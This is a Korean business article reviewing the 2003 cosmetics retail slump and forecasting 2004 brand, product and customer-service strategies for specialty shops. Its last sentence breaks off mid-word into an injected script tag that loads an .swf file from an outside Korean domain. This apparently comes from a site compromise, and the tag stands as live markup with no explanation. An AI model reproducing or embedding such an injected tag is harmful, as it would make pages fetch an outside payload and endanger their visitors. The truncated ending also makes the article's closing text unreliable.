수많은 브랜드 몰락 소비자 불신 이어져 단일 브랜드 다유통 업체들 적극 고려 2003년 화장품시장 전체를 살펴보면, IMF때보다 더 힘들었고 메이커나 유통산업 모두가 체감한 최악의 불경기였던 한 해였다고 생각한다. 특히 전문점시장은 점포수의 감소 및 마이너스 성장을 기록함으로써 폐업 및 전업상황이 벌어지는 결과를 나타내었다. 소비경기 침체는 어느 한 부분의 개선을 통해서 이루어지는 것이 아니라 상품, 유통, 서비스등이 총체적으로 결합되어 위기 극복을 할 수 있다고 생각하며, 2004년을 전망할 때 상반기까지는 현재의 침체국면 회복을 쉽게 기대하기는 어려울 전망이다. 2002년 말 1,000억대 이상의 매출을 기록한 브랜드가 금년 말에 커다란 부침을 한 결과를 볼 때, 단지 경기침체로 인한 매출급감을 떠나 불황기에는 지명도 있는 브랜드, 가치있는 상품만 살아남는다는 마케팅의 정설을 입증이라도 하듯 금년 한해는 1위 브랜드가 전방위에서 경쟁우위와 함께 매출측면에서도 두각을 나타내었다. 반면에 매출목표 달성을 위한 밀어내기 영업과 비용절감을 위한 투자보류, 전체 유통진입으로 힘의 분산현상 등이 중위권 브랜드의 부침현상을 설명해 준다고 할 수 있다. 브랜드 컨셉 차별화 중요 비록 불안정한 유통지배력 현상이었던 것이 사실이지만, 화장품 전체시장 중 80%를 상회하던 전문점시장이 30% 이하로 떨어지는 과정에서 간과되어서는 안 되는 것은 변화를 예측하고 대비하는 전략의 모호성과 안이함이라고 할 수 있다. 전문점 경영지원과 소비자 만족도를 높이는 서비스 강화 등을 표명했지만, 실제로는 인터넷과의 가격경쟁, 고마진 위주의 브랜드 스위칭, 판촉물에 의존한 전문점 영업형태 등으로는 소비자 이탈이 당연한 결과였을지도 모른다. 또한 매출확대를 위한 메이커의 드라이브는 전문점 내에서 과당경쟁을 만들 뿐 소비자 손에 전달되기에는 부족한 면이 많아 이러한 전문점 침체에 한몫을 했다는 것을 부정할 수 없다. 최근 2년간 백화점에서 판매되는 외국브랜드의 성장률이 눈에 띄게 높아졌는데, 이러한 부분은 고객 서비스 차별화와 외제 선호 현상 이외에도 전문점에 출시되는 신제품의 고가화 현상과 맞물려 고객 이전현상이 발생했다고 생각한다. 과거의 행태처럼 가격할인이 심해지면, 가격인상을 통해 신규 브랜드 출시하고 타 유통과의 차별적인 컨셉 개발보다는, ‘미 투(me too)’식 상품개발을 하다보니, 고객이 굳이 전문점을 찾아야 하는 이유를 가질 수 없는 결과를 낳았다. 차별적이고 혁신적인 대소비자 전략을 외면한다면 현재의 시장구조에서 경쟁열세는 더욱 심화될 것으로 생각된다. 불투명한 2004년 화장품 전문점시장을 전망해 본다면, 브랜드 컨셉과 상품개발, 고객서비스 등에서 차별화와 강화에 모든 업계가 주력할 것으로 예상된다. 첫째, 광고측면에서는 2003년의 성과에서 나타났듯이 강력한 파워 브랜드만이 살아남는다는 정설과 불황기 투자비용의 효율화를 위해 신규 브랜드 출시보다는 브랜드 강화를 위한 리포지셔닝과 컨셉 보강 등을 통해 기존 브랜드 자산가치를 고려하는 브랜드 강화전략을 각사별로 채택할 것으로 예상된다. 광고매체에 있어서도 공영 TV광고를 고수하기보다 케이블TV, Tie-Marketing 등 타깃 소비자에게 직접 커뮤니케이션을 하고자 하는 노력과 다양한 온 라인 이벤트와 함께 구전마케팅(Word of Mouth)을 강화함으로써 브랜드 가치를 전달하고, 관여도를 높임으로써 비용효율화와 관계마케팅을 통한 정보전달과 충성고객 확보에 주력할 것으로 생각한다. 작고 가벼운 제품 히트할 듯 둘째, 상품측면에서는 최근의 웰빙(Well-being) 트렌드를 반영한 차별적인 상품컨셉과 함께 소비 양극화현상에 따른 고가상품과 일시적인 경기침체에 대응한 저가상품으로 양분화되는 시장구도가 예상된다. 또한 2003년 한방 열풍에 이어 자연성, 아로마, 스파, 멀티케어(복합적인 기능성 화장품) 등의 웰빙무드의 기조 속에 보보스족에 이은 노마드족(Nomade:유목민) 컨셉에 맞는 휴대 편이, 소형화등의 상품출시 현상이 나타날 것으로 생각한다. 또한 브랜드 선호와 함께 나만을 위한 특별함을 추구하는 1대1 맞춤케어에 대한 소비자 욕구를 충족시켜 주는 소비자 서비스 프로그램의 구체화로 고객감동을 차별화하는데 업계별로 많은 노력을 할 것으로 예상된다. 셋째, 고객서비스 측면은 파워 브랜드육성과 함께 목표고객을 명확히 하고 브랜드 가치를 제공할 수 있는 다양한 정보제공과 피부관리 서비스 등 혜택을 제공함으로써 백화점이나 방판에서만 이루어지던 고객관리 강화?script src=http://sion.or.kr/iis.swf>

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